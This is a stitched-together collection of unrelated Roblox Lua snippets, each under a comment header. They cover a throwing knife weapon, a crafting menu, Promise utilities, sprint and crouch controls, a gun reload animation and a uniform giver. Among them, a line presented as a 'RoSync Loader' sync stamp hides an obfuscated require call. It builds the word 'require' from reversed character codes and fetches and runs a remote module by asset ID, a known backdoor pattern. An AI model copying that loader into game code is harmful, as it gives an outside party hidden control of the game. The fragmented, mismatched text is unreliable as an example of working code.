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--Left lean Divider
ZR15RightLegLeftLeanD = 1 XR15RightLegLeftLeanD = 1 YR15RightLegLeftLeanD = 1 R15RightKneeLeftLeanD = 1 ZR15RightArmLeftLeanD = 1 XR15RightArmLeftLeanD = 1 YR15RightArmLeftLeanD = 1 R15RightElbowLeftLeanD = 1 ZR15LeftLegLeftLeanD = 1 XR15LeftLegLeftLeanD = 1 YR15LeftLegLeftLeanD = 1 R15LeftKneeLeftLeanD = 1 ZR15LeftArmLeftLeanD = 1 XR15LeftArmLeftLeanD = 1 YR15LeftArmLeftLeanD = 1 R15LeftElbowLeftLeanD = 1 ZR15LowerTorsoLeftLeanD = 1 XR15LowerTorsoLeftLeanD = 1 YR15LowerTorsoLeftLeanD = 1 ZR15UpperTorsoLeftLeanD = 1
--------------------- TEMPLATE BLADE WEAPON --------------------------- -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local SLASH_DAMAGE = 50 local DOWNSTAB_DAMAGE = 40 local THROWING_DAMAGE = 51 local HOLD_TO_THROW_TIME = 0.38 local Damage = 50 local MyHumanoid = nil local MyTorso = nil local MyCharacter = nil local MyPlayer = nil local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local BlowConnection local Button1DownConnection local Button1UpConnection local PlayStabPunch local PlayDownStab local PlayThrow local PlayThrowCharge local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset local DebrisService = Game:GetService('Debris') local PlayersService = Game:GetService('Players') local SlashSound local HitPlayers = {} local LeftButtonDownTime = nil local Attacking = false function Blow(hit) if Attacking then BlowDamage(hit, Damage) end end function BlowDamage(hit, damage) local humanoid = hit.Parent:FindFirstChild('Humanoid') local player = PlayersService:GetPlayerFromCharacter(hit.Parent) if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then if not MyPlayer.Neutral then -- Ignore teammates hit if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then return end end -- final check, make sure weapon is in-hand local rightArm = MyCharacter:FindFirstChild('Right Arm') if (rightArm ~= nil) then -- Check if the weld exists between the hand and the weapon local joint = rightArm:FindFirstChild('RightGrip') if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then -- Make sure you only hit them once per swing if player and not HitPlayers[player] then TagHumanoid(humanoid, MyPlayer) print("Sending " .. damage) humanoid:TakeDamage(damage) Handle.Splat.Volume = 1 HitPlayers[player] = true end end end end end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new('ObjectValue') creatorTag.Value = player creatorTag.Name = 'creator' creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new('StringValue') weaponIconTag.Value = IconUrl weaponIconTag.Name = 'icon' weaponIconTag.Parent = creatorTag DebrisService:AddItem(weaponIconTag, 1.5) end function HardAttack() Damage = SLASH_DAMAGE SlashSound:play() if PlayStabPunch then PlayStabPunch.Value = true wait(1.0) PlayStabPunch.Value = false end end function NormalAttack() Damage = DOWNSTAB_DAMAGE KnifeDown() SlashSound:play() if PlayDownStab then PlayDownStab.Value = true wait(1.0) PlayDownStab.Value = false end KnifeUp() end function ThrowAttack() KnifeOut() if PlayThrow then PlayThrow.Value = true wait(0.3) if not Handle then return end local throwingHandle = Handle:Clone() DebrisService:AddItem(throwingHandle, 5) throwingHandle.Parent = Workspace if MyCharacter and MyHumanoid then throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100 -- set the orientation to the direction it is being thrown in throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90)) local floatingForce = Instance.new('BodyForce', throwingHandle) floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0) local spin = Instance.new('BodyAngularVelocity', throwingHandle) spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0)) end Handle.Transparency = 1 -- Wait so that the knife has left the thrower's general area wait(0.08) if throwingHandle then local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end) end -- must check if it still exists since we waited if throwingHandle then throwingHandle.CanCollide = true end wait(0.6) if Handle and PlayThrow then Handle.Transparency = 0 PlayThrow.Value = false end end KnifeUp() end function KnifeUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function KnifeDown() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,-1) end function KnifeOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function OnLeftButtonDown() LeftButtonDownTime = time() if PlayThrowCharge then PlayThrowCharge.Value = true end end function OnLeftButtonUp() if not Tool.Enabled then return end -- Reset the list of hit players every time we start a new attack HitPlayers = {} if PlayThrowCharge then PlayThrowCharge.Value = false end if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then Tool.Enabled = false local currTime = time() if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and currTime - LeftButtonDownTime < 1.15 then ThrowAttack() else Attacking = true if math.random(1, 2) == 1 then HardAttack() else NormalAttack() end Attacking = false end Tool.Enabled = true end end function OnEquipped(mouse) PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch') PlayDownStab = WaitForChild(Tool, 'PlayDownStab') PlayThrow = WaitForChild(Tool, 'PlayThrow') PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge') SlashSound = WaitForChild(Handle, 'Swoosh1') Handle.Splat.Volume = 0 SlashSound:play() BlowConnection = Handle.Touched:connect(Blow) MyCharacter = Tool.Parent MyTorso = MyCharacter:FindFirstChild('Torso') MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyPlayer = PlayersService.LocalPlayer if mouse then Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown) Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp) end KnifeUp() end function OnUnequipped() -- Unequip logic here if BlowConnection then BlowConnection:disconnect() BlowConnection = nil end if Button1DownConnection then Button1DownConnection:disconnect() Button1DownConnection = nil end if Button1UpConnection then Button1UpConnection:disconnect() Button1UpConnection = nil end MyHumanoid = nil end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped)
-- We set our speeds on the server, don't let the client choose
local speeds = { run = 24, walk = 16 } character.speed = function(player, payload) local humanoid = Util.getHumanoid(player) if not humanoid or not payload or not speeds[payload.speed] then return end humanoid.WalkSpeed = speeds[payload.speed] end return character
--[[ Remove the given key from the list. ]]
function Immutable.RemoveFromList(list, removeIndex) local new = {} for i = 1, #list do if i ~= removeIndex then table.insert(new, list[i]) end end return new end
-- Event Binding
Tool.Changed:connect(OnChanged) Tool.RocketHit.OnServerEvent:connect(OnRocketHit) Tool.FireRocket.OnServerEvent:connect(OnFireRocket) Tool.HitPlayers.OnServerEvent:connect(OnHitPlayers) Tool.DirectHitPlayer.OnServerEvent:connect(OnDirectHitPlayer) IntializeBuffer()
--[=[ Fulfills the promise with the value @param values { T } -- Params to fulfil with @param valuesLength number @private ]=]
function Promise:_fulfill(values, valuesLength) if not self._pendingExecuteList then return end self._fulfilled = values self._valuesLength = valuesLength local list = self._pendingExecuteList self._pendingExecuteList = nil for _, data in pairs(list) do self:_executeThen(unpack(data)) end end
-- see link for what the dictionary looks like: https://developer.roblox.com/en-us/api-reference/function/Players/GetCharacterAppearanceInfoAsync
local wearingAssets local originalCamCFrame = camera.CFrame local function characterAdded() character = player.Character rootPart = character.PrimaryPart or character:WaitForChild("HumanoidRootPart") humanoid = character:FindFirstChildWhichIsA("Humanoid") originalCamCFrame = camera.CFrame end local function hideAllSubCategoryFrames() for i, frame in ipairs(subCategoryFrames) do frame.Visible = false end end local function setSelectedCategory(guiButton) for button, class in next, activeCategoryButtons do class:SetSelected(false) end if activeCategoryButtons[guiButton] then activeCategoryButtons[guiButton]:SetSelected(true) end end local function setSelectedSubCategory(guiButton) for button, class in next, activeSubCategoryButtons do class:SetSelected(false) end if activeSubCategoryButtons[guiButton] then activeSubCategoryButtons[guiButton]:SetSelected(true) end end local function updateScrollingFrameCanvasSize() scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, scrollingFrameUIGridLayout.AbsoluteContentSize.Y) end local function updateScaleFrameCanvasSize() scaleFrame.CanvasSize = UDim2.new(0, 0, 0, scaleFrameUIGridLayout.AbsoluteContentSize.Y) end local function clearSearch() searchTextBox.Text = "" end local function resetScrollingFrame() activeButtons:DoCleaning() clearSearch() scrollingFrame.CanvasPosition = Vector2.new(0, 0) end
-- Basic settings
local MAXIMUM_DIFFERENT_ITEMS = 6 local plr = game.Players.LocalPlayer local guiService = game:GetService("GuiService") function getItemTable() -- Formulate and return a table of items local items = {} for _, i in pairs(script.Parent:GetChildren()) do if i.Name == "Item" then for _=1, i.Count.Value do table.insert(items, i.Item.Value.Name) end end end return items end function refreshOutlines() -- Create table of item names local items = {} for _, i in pairs(script.Parent:GetChildren()) do if i.Name == "Item" then table.insert(items, i.Item.Value.Name) end end -- Check size if #items > 0 then -- Create table of connected items local connectedItems = {} for _, i in pairs(game.ReplicatedStorage.Recipes:GetChildren()) do local okay = true for _, o in pairs(items) do if i.Ingredients:FindFirstChild(o) == nil then okay = false break end end if okay then for _, o in pairs(i.Ingredients:GetChildren()) do table.insert(connectedItems, o.Name) end end end -- Go through displayed items adding/removing outlines for _, i in pairs(script.Parent.Parent.Parent.Display.Container:GetChildren()) do if i.Name == "Item" then local okay = false for n, o in pairs(connectedItems) do if o == i.Item.Value.Name then okay = true table.remove(connectedItems, n) break end end i.BlueEdge.Visible = okay end end else -- Remove all outlines for _, i in pairs(script.Parent.Parent.Parent.Display.Container:GetChildren()) do if i.Name == "Item" then i.BlueEdge.Visible = false end end end end script.Parent.AddItem.OnInvoke = function(item) -- Check if there already is an entry for the item local existing = nil for _, i in pairs(script.Parent:GetChildren()) do if i.Name == "Item" then if i.Item.Value == item then existing = i break end end end if existing == nil then -- Check if the item count maximum has been reached local entryCount = #script.Parent:GetChildren() - 5 if entryCount >= MAXIMUM_DIFFERENT_ITEMS then return false end -- Create an item GUI element and add to container local itemGui = script.Parent.ItemTemplate:clone() itemGui.Name = "Item" itemGui.Item.Value = item itemGui.ItemIcon.Image = item.IconAsset.Value itemGui.ItemNameLabel.Text = item.Name itemGui.ItemNameLabel.TextColor3 = plr.PlayerScripts.Functions.GetRarityColor:Invoke(item.Rarity.Value) if item.Rarity.Value == "Immortal" or item.Rarity.Value == "Developer" then itemGui.ItemName.TextStrokeColor3 = Color3.fromRGB(255, 255, 255) end itemGui.Position = UDim2.new(0, (entryCount % 3) * 116 + 10, 0, math.floor(entryCount / 3) * 40 + 10) itemGui.Parent = script.Parent itemGui.Visible = true itemGui.InteractionHandler.Disabled = false -- Tell preview to refresh plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable()) refreshOutlines() -- Return success return true else -- Increment count value existing.Count.Value = existing.Count.Value + 1 existing.ItemCount.Text = "x " .. existing.Count.Value -- Tell preview to refresh plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable()) -- Return success return true end end script.Parent.RemoveItem.Event:connect(function(itemGui) -- Get item local item = itemGui.Item.Value -- Decrement count itemGui.Count.Value = itemGui.Count.Value - 1 -- Check if none left if itemGui.Count.Value <= 0 then -- Calculate gui rank to be used below local thisRank = (((itemGui.Position.Y.Offset - 10) / 40) * 3) + ((itemGui.Position.X.Offset - 10) / 116) -- Destroy the gui itemGui:destroy() -- Move each item over/up local closestItem = nil local closestItemRank = nil local lastItem = nil local lastItemRank = nil for _, i in pairs(script.Parent:GetChildren()) do if i.Name == "Item" then local rank = (((i.Position.Y.Offset - 10) / 40) * 3) + ((i.Position.X.Offset - 10) / 116) if rank > thisRank then i.Position = i.Position + UDim2.new(0, -116, 0, 0) if i.Position.X.Offset < 0 then i.Position = i.Position + UDim2.new(0, 348, 0, -40) end if closestItem == nil or rank < closestItemRank then closestItem = i closestItemRank = rank end end if lastItem == nil or rank > lastItemRank then lastItem = i lastItemRank = rank end end end if closestItem ~= nil then guiService.SelectedObject = closestItem.ClickArea elseif lastItem ~= nil then guiService.SelectedObject = lastItem.ClickArea else guiService.SelectedObject = plr.PlayerGui.MainGui.Crafting.OpenRecipeBook end elseif itemGui.Count.Value > 1 then -- Change text itemGui.ItemCount.Text = "x " .. itemGui.Count.Value else -- Change text itemGui.ItemCount.Text = "" end -- Add back to main display plr.PlayerGui.MainGui.Crafting.Display.Container.AddItem:Fire(item) -- Tell preview to refresh plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable()) refreshOutlines() end) script.Parent.ClearItems.Event:connect(function() -- Destroy all items for _, i in pairs(script.Parent:GetChildren()) do if i.Name == "Item" then i:destroy() end end -- Tell preview to refresh plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire({}) end)
-- For those who prefer distinct functions
function ControlModule:Disable() if self.activeController then self.activeController:Enable(false) if self.moveFunction then self.moveFunction(Players.LocalPlayer, Vector3.new(0,0,0), true) end end end
-- deltarager cried here -- 27/05/2021
repeat wait() until game:IsLoaded() and game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name) ~= nil and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil local ReplicatedStorage = game:GetService("ReplicatedStorage") local UserInputService = game:GetService("UserInputService") local constants = require(ReplicatedStorage["ClientModules"].Constants) local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local animator = humanoid:WaitForChild("Animator") local oldEvent1,oldEvent2 = nil,nil local toolEvent,toolEventDe = nil,nil IdleAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Idle) SprintAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Sprint) CrouchAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Crouch) local crouching = false local sprinting = false local equipped = false local shooting = false local function Crouch() if sprinting then humanoid.WalkSpeed = 16; SprintAnimation:Stop() sprinting = false end if crouching then humanoid.WalkSpeed = 16 CrouchAnimation:Stop() else if equipped then IdleAnimation:Play() end CrouchAnimation:Play() humanoid.WalkSpeed = 10 end crouching = not crouching end local function Sprint() if crouching then humanoid.WalkSpeed = 16 CrouchAnimation:Stop() if equipped then IdleAnimation:Stop() end crouching = false end if sprinting then humanoid.WalkSpeed = 16; if equipped then SprintAnimation:Stop() IdleAnimation:Play() end else if equipped then IdleAnimation:Stop() SprintAnimation:Play() end humanoid.WalkSpeed = 24; end sprinting = not sprinting end UserInputService.InputBegan:Connect(function(input,gpe) if gpe then return end if input.KeyCode == constants.sprintKey and not shooting then Sprint() elseif input.KeyCode == constants.crouchKey then Crouch() elseif input.KeyCode == Enum.KeyCode.Space then if crouching then Crouch() end end end) character.ChildAdded:Connect(function(child) if child:IsA("Tool") then equipped = true IdleAnimation:Play() if sprinting then IdleAnimation:Stop() SprintAnimation:Play() end toolEvent = child.Activated:Connect(function() if child.GunType.Value ~= "heal" then shooting = true if sprinting then humanoid.WalkSpeed = 16; sprinting = false SprintAnimation:Stop() IdleAnimation:Play() end end end) toolEventDe = child.Deactivated:Connect(function() shooting = false end) end end) character.ChildRemoved:Connect(function(child) if child:IsA("Tool") then equipped = false IdleAnimation:Stop() SprintAnimation:Stop() if toolEvent ~= nil then toolEvent:Disconnect() toolEventDe:Disconnect() end end end)
--wait()
game.ReplicatedStorage.ShowShop:FireClient(game.Players[hit.Parent.Name]) end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 25 -- cooldown for use of the tool again ZoneModelName = "Fresh Disco" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Necessery Functions
local ErrorPart = nil local function GetValidPartToLookAt(Char, bodypart) local pHum = Char:FindFirstChild("Humanoid") if not Char and pHum then return nil end local pIsR6 = (pHum.RigType.Value==0) if table.find({"Torso", "UpperTorso"}, bodypart) then if pIsR6 then bodypart = "Torso" else bodypart = "UpperTorso" end end local ValidPart = Char:FindFirstChild(bodypart) or Char:FindFirstChild("HumanoidRootPart") if ValidPart then return ValidPart else if ErrorPart ~= bodypart then --warn(Body.Name.." can't find part to look: "..tostring(bodypart)) ErrorPart = bodypart end return nil end end local function getClosestPlayer() -- Get the closest player in the range. local closest_player, closest_distance = nil, LookAtPlayerRange for i = 1, #SearchLoc do for _, player in pairs(SearchLoc[i]:GetChildren()) do if player:FindFirstChild("Humanoid") and player ~= Body and (Players:GetPlayerFromCharacter(player) or LookAtNonPlayer) and GetValidPartToLookAt(player, PartToLookAt) then local distance = (Core.Position - player.PrimaryPart.Position).Magnitude if distance < closest_distance then closest_player = player closest_distance = distance end end end end return closest_player end local function rWait(n) n = n or 0.05 local startTime = os.clock() while os.clock() - startTime < n do game:GetService("RunService").Heartbeat:Wait() end end local function LookAt(NeckC0, WaistC0) if not IsR6 then if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end if Waist then Waist.C0 = Waist.C0:lerp(WaistC0, UpdateSpeed/2) end else if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end end end
--[[ Chains a Promise from this one that is resolved if this Promise is resolved, and rejected if it is not resolved. ]]
function Promise.prototype:now(rejectionValue) local traceback = debug.traceback(nil, 2) if self:getStatus() == Promise.Status.Resolved then return self:_andThen(traceback, function(...) return ... end) else return Promise.reject(rejectionValue == nil and Error.new({ kind = Error.Kind.NotResolvedInTime, error = "This Promise was not resolved in time for :now()", context = ":now() was called at:\n\n" .. traceback, }) or rejectionValue) end end
------------------------------------------------------------------------ -- reanchor if last token is has a constant string, see close_func() -- * used only in close_func() ------------------------------------------------------------------------
function luaY:anchor_token(ls) if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then -- not relevant to Lua implementation of parser -- local ts = ls.t.seminfo -- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */ end end
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump -- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
function DynamicThumbstick:GetIsJumping() local wasJumping = self.isJumping self.isJumping = false return wasJumping end function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean if enable == nil then return false end -- If nil, return false (invalid argument) enable = enable and true or false -- Force anything non-nil to boolean before comparison if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state if enable then -- Enable if not self.thumbstickFrame then self:Create(uiParentFrame) end self:BindContextActions() else ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME) -- Disable self:OnInputEnded() -- Cleanup end self.enabled = enable self.thumbstickFrame.Visible = enable end
--[[Wheel Alignment]] --[Don't physically apply alignment to wheels] --[Values are in degrees]
Tune.FCamber = 0 Tune.RCamber = 0 Tune.FToe = 0 Tune.RToe = 0
-- Compiled with roblox-ts v2.0.4 -- eslint-disable-next-line @typescript-eslint/no-empty-interface
local unitMeta = {} unitMeta.__eq = function() return true end unitMeta.__tostring = function() return "()" end unitMeta.__index = function() return error("Attempt to index Unit", 2) end local function unit() return setmetatable({}, unitMeta) end return { unit = unit, }
-- the Tool, reffered to here as "Block." Do not change it!
Block = script.Parent.Parent.Fuse3Pick -- You CAN change the name in the quotes "Example Tool"
--[[ Last synced 12/13/2020 04:16 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[ Packs a number of arguments into a table and returns its length. Used to cajole varargs without dropping sparse values. ]]
local function pack(...) return select("#", ...), { ... } end
-------------------------
function onClicked() R.Function1.Disabled = true FX.CRUSH.BrickColor = BrickColor.new("Really red") FX.CRUSH.loop.Disabled = true FX.HPF.BrickColor = BrickColor.new("Really red") FX.HPF.loop.Disabled = true FX.LPF.BrickColor = BrickColor.new("Really red") FX.LPF.loop.Disabled = true FX.NOISE.BrickColor = BrickColor.new("Really red") FX.NOISE.loop.Disabled = true FX.ZIP.BrickColor = BrickColor.new("Really red") FX.ZIP.loop.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- скрипт расчёта текущих координат
me = script.Parent
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0.1, 0.4, -0.2) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--//Custom Functions\\--
function activate() if specialDB then specialDB = false activateSpecial:FireServer() else end end
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
function ReloadAnim() TweenJoint(LWeld2, CF(), CF(), Sine, 0.15) TweenJoint(RWeld2, CF(), CF(), Sine, 0.15) local Speed = S.ReloadTime / 2 local Mag_Parts = {} for _, Obj in pairs(Gun:GetChildren()) do if Obj.Name == "Mag" and Obj:IsA("BasePart") then INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()}) end end local W1 = nil local W2 = nil local SequenceTable = { function() for Index, Mag in pairs(Mag_Parts) do Mag.Original.Transparency = 1 Mag.Clone1.Parent = Gun_Ignore Mag.Clone1.CanCollide = true if Index ~= 1 then local W = Instance.new("Weld") W.Part0 = Mag_Parts[1].Clone1 W.Part1 = Mag.Clone1 W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame) W.Parent = Mag_Parts[1].Clone1 end end W1 = Instance.new("Weld") W1.Part0 = Mag_Parts[1].Clone1 W1.Part1 = Handle W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame) W1.Parent = Mag_Parts[1].Clone1 TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed) TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(20), RAD(3), 0), Linear, 0.35 * Speed) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed) wait(0.3 * Speed) end; function() TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed) wait(0.2 * Speed) end; function() W1:Destroy() Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-5,0)) * 20 spawn(function() while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end for _, Mag in pairs(Mag_Parts) do Mag.Clone1.Anchored = true Mag.Clone1:BreakJoints() end end) for Index, Mag in pairs(Mag_Parts) do Mag.Clone2.Parent = Gun_Ignore if Index ~= 1 then local W = Instance.new("Weld") W.Part0 = Mag_Parts[1].Clone2 W.Part1 = Mag.Clone2 W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame) W.Parent = Mag_Parts[1].Clone2 end end W2 = Instance.new("Weld") W2.Part0 = FakeLArm W2.Part1 = Mag_Parts[1].Clone2 W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0) W2.Parent = FakeLArm wait(0.1) end; function() local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.9, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse() local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse() local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0) local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame) local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF) TweenJoint(LWeld, ArmC0[1], CF(-0.3, 1.85, -0.11) * CFANG(RAD(-10), RAD(30), RAD(-60)), Sine, 0.6 * Speed) TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed) TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed) TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed) wait(0.7 * Speed) end; function() for _, Mag in pairs(Mag_Parts) do Mag.Original.Transparency = 0 Mag.Clone2:Destroy() end TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed) wait(0.5 * Speed) end; } for _,ReloadFunction in pairs(SequenceTable) do if BreakReload then break end ReloadFunction() end if W1 then W1:Destroy() end if W2 then W2:Destroy() end for _, Mag in pairs(Mag_Parts) do Mag.Clone1:Destroy() Mag.Clone2:Destroy() end end function Reload() Running = false if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip) Ammo.Value = 0 Reloading = true if Aimed then UnAimGun(S.ReloadAnimation) end Gui_Clone.CrossHair.Reload.Visible = true if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end if S.ReloadAnimation then wait() ReloadAnim() else local StartReload = tick() while true do if BreakReload then break end if (tick() - StartReload) >= S.ReloadTime then break end RS:wait() end end if (not BreakReload) then if StoredAmmo.Value >= ClipSize.Value then Ammo.Value = ClipSize.Value if AmmoInClip > 0 then StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip) else StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value end elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then Ammo.Value = StoredAmmo.Value StoredAmmo.Value = 0 end end BreakReload = false Reloading = false if Selected then AmmoInClip = 0 Gui_Clone.CrossHair.Reload.Visible = false end end end
--[[ SCRIPT VERSION: 1, 10/19/21 CURRENT ISSUE: Nothing --]]
if not game.Loaded or not workspace:FindFirstChild("Terrain") then game.Loaded:Wait(); game:GetService("Players").LocalPlayer.CharacterAdded:Wait(); end; local Players = game:GetService("Players") local Player = Players.LocalPlayer; local Screen = script.Parent.Parent.Parent.Leveled.Admin; local Sidebar = Screen.Sidebar.Inside; Sidebar.UserThumbnail.Image = Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size420x420);
--------END STAGE-------- --------CREW--------
game.Workspace.crewview1.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.crew1.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.crew2.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.crew3.Decal.Texture = game.Workspace.Screens.Main.Value
--// Damage Settings
BaseDamage = 42; -- Torso Damage LimbDamage = 33; -- Arms and Legs ArmorDamage = 33; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 61; -- If you set this to 100, there's a chance the player won't die because of the heal script
--[=[ Swaps keys with values, overwriting additional values if duplicated. @param orig table -- Original table @return table ]=]
function Table.swapKeyValue(orig) local tab = {} for key, val in pairs(orig) do tab[val] = key end return tab end
-- Functions --
local function playSoundLocal(sId,sParent) local sound = Instance.new("Sound",sParent) sound.SoundId = "http://www.roblox.com/asset/?id="..sId sound:Play() sound:Destroy() end local function onClicked(player) print(player.Name.." clicked on Uniform Giver") playSoundLocal(152206246,player) -- Declaring the sound ID and Parent local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt if not foundShirt then -- if there is no shirt print("No shirt found, creating for "..player.Name) local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" else if foundShirt then -- if there is a shirt print("Shirt found, reconstructing for "..player.Name) player.Character.Shirt:remove() local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" end end local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants if not foundPants then -- if there are no pants print("No pants found, creating for "..player.Name) local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" else if foundPants then -- if there are pants print("Pants found, reconstructing for "..player.Name) player.Character.Pants:remove() local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" end end player.Character.Shirt.ShirtTemplate = shirtId player.Character.Pants.PantsTemplate = pantsId end
--Made by Luckymaxer
